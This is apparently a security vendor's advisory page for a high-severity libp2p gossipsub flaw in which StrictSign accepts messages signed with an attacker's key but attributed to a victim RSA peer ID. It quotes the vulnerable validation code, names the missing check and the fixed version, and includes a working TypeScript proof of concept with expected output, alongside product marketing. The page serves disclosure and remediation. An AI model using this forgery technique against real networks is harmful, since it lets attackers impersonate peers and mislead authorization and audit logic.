CVE-2026-86038

CVE-2026-86038 is a high-severity security vulnerability in @libp2p/gossipsub (npm), affecting versions >= 15.0.0, < 16.0.5. It is fixed in 16.0.5.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

libp2p: Gossipsub StrictSign accepts attacker-signed messages as a victim RSA peer ID

@libp2p/gossipsub StrictSign validation does not bind a supplied message public key to the claimed from peer ID when from is an RSA-style peer ID that does not inline its public key. An attacker can set from to a victim RSA peer ID, sign the message with the attacker's own private key, include the attacker's public key in msg.key, and have the message accepted as a valid signed message from the victim.

Details

The vulnerable code is in packages/gossipsub/src/utils/buildRawMessage.ts inside validateToRawMessage.

When msg.key is present:

publicKey = publicKeyFromProtobuf(msg.key)
if (fromPeerId.publicKey !== undefined && !publicKey.equals(fromPeerId.publicKey)) {
  return { valid: false, error: ValidateError.InvalidPeerId }
}

For RSA peer IDs parsed from the wire from multihash, fromPeerId.publicKey is undefined because the RSA public key is not inlined in the peer ID. This means the key-to-from comparison is skipped. The code then verifies the signature with the attacker-supplied msg.key and returns a signed message whose from is the victim RSA peer ID.

The missing invariant is:

peerIdFromPublicKey(publicKey).equals(fromPeerId)

This check must be performed whenever a public key is supplied, including keyless peer ID representations such as RSA peer IDs.

StrictSign is the default gossipsub signature policy in packages/gossipsub/src/gossipsub.ts:

this.globalSignaturePolicy = opts.globalSignaturePolicy ?? StrictSign

Version tracing:

  • git blame points the vulnerable validateToRawMessage block to 9a9b11fd44 (fix!: remove pubsub (#3291)), which introduced packages/gossipsub/src/utils/buildRawMessage.ts.
  • That commit's packages/gossipsub/package.json still reports 14.1.1, but the first gossipsub-v* release tag in this checkout that contains the vulnerable block is gossipsub-v15.0.0.

PoC

// TypeScript ESM PoC.
import { strict as assert } from 'node:assert'
import { generateKeyPair, publicKeyToProtobuf } from '@libp2p/crypto/keys'
import { StrictSign } from '@libp2p/gossipsub'
import { peerIdFromPrivateKey } from '@libp2p/peer-id'
import { concat as uint8ArrayConcat } from 'uint8arrays/concat'
import { fromString as uint8ArrayFromString } from 'uint8arrays/from-string'
import { RPC } from '../../packages/gossipsub/dist/src/message/rpc.js'
import { SignPrefix, validateToRawMessage } from '../../packages/gossipsub/dist/src/utils/buildRawMessage.js'

const label = 'gossipsub StrictSign RSA author spoof'

function seqno (n: bigint): Uint8Array {
  const out = new Uint8Array(8)
  new DataView(out.buffer).setBigUint64(0, n, false)
  return out
}

async function main (): Promise<void> {
  const attackerKey = await generateKeyPair('Ed25519')
  const victimRsaKey = await generateKeyPair('RSA', 512)
  const victim = peerIdFromPrivateKey(victimRsaKey)

  const msg: RPC.Message = {
    from: victim.toMultihash().bytes,
    data: uint8ArrayFromString('forged as victim RSA peer'),
    seqno: seqno(1n),
    topic: 'poc-topic',
    signature: undefined,
    key: undefined
  }

  // Sign the protobuf message that claims victim in `from`, using attacker's key.
  const bytes = uint8ArrayConcat([SignPrefix, RPC.Message.encode(msg)])
  msg.signature = await attackerKey.sign(bytes)
  msg.key = publicKeyToProtobuf(attackerKey.publicKey)

  const result = await validateToRawMessage(StrictSign, msg)

  if (!result.valid) {
    throw new Error(`expected forged message to validate, got ${result.error}`)
  }

  assert.equal(result.message.type, 'signed')
  assert.equal(result.message.from.equals(victim), true)
  assert.equal(result.message.key.equals(attackerKey.publicKey), true)

  console.log(`${label} reproduced`)
  console.log(`claimed victim RSA author: ${victim}`)
  console.log('signature verified with attacker-supplied key')
}

main().catch(err => {
  console.error(err)
  process.exitCode = 1
})

Expected output:

gossipsub StrictSign RSA author spoof reproduced
claimed victim RSA author: QmcFsT6SHgxy1LXcUbz4aNSn9Wcj6JsJSMsSjB3ud1wT4f
signature verified with attacker-supplied key

Impact

Attackers can forge gossipsub messages attributed to arbitrary victim RSA peer IDs under the default StrictSign policy. Applications that trust message.from in topic validators, authorization logic, accounting, moderation, reputation, or audit logs can be misled into treating attacker-controlled data as if it was authored by the victim.

The forged message can also be considered valid by gossipsub's validation path and forwarded to peers, spreading the incorrect origin attribution through the pubsub mesh.

CVE-2026-86038 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (16.0.5); upgrading removes the vulnerable code path.

Affected versions

@libp2p/gossipsub (>= 15.0.0, < 16.0.5)

Security releases

@libp2p/gossipsub → 16.0.5 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade @libp2p/gossipsub to 16.0.5 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-86038? CVE-2026-86038 is a high-severity security vulnerability in @libp2p/gossipsub (npm), affecting versions >= 15.0.0, < 16.0.5. It is fixed in 16.0.5.
  2. How severe is CVE-2026-86038? CVE-2026-86038 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of @libp2p/gossipsub are affected by CVE-2026-86038? @libp2p/gossipsub (npm) versions >= 15.0.0, < 16.0.5 is affected.
  4. Is there a fix for CVE-2026-86038? Yes. CVE-2026-86038 is fixed in 16.0.5. Upgrade to this version or later.
  5. Is CVE-2026-86038 exploitable, and should I be worried? Whether CVE-2026-86038 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-86038 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-86038? Upgrade @libp2p/gossipsub to 16.0.5 or later.

Other vulnerabilities in @libp2p/gossipsub

Stop the waste.
Protect your environment with Kodem.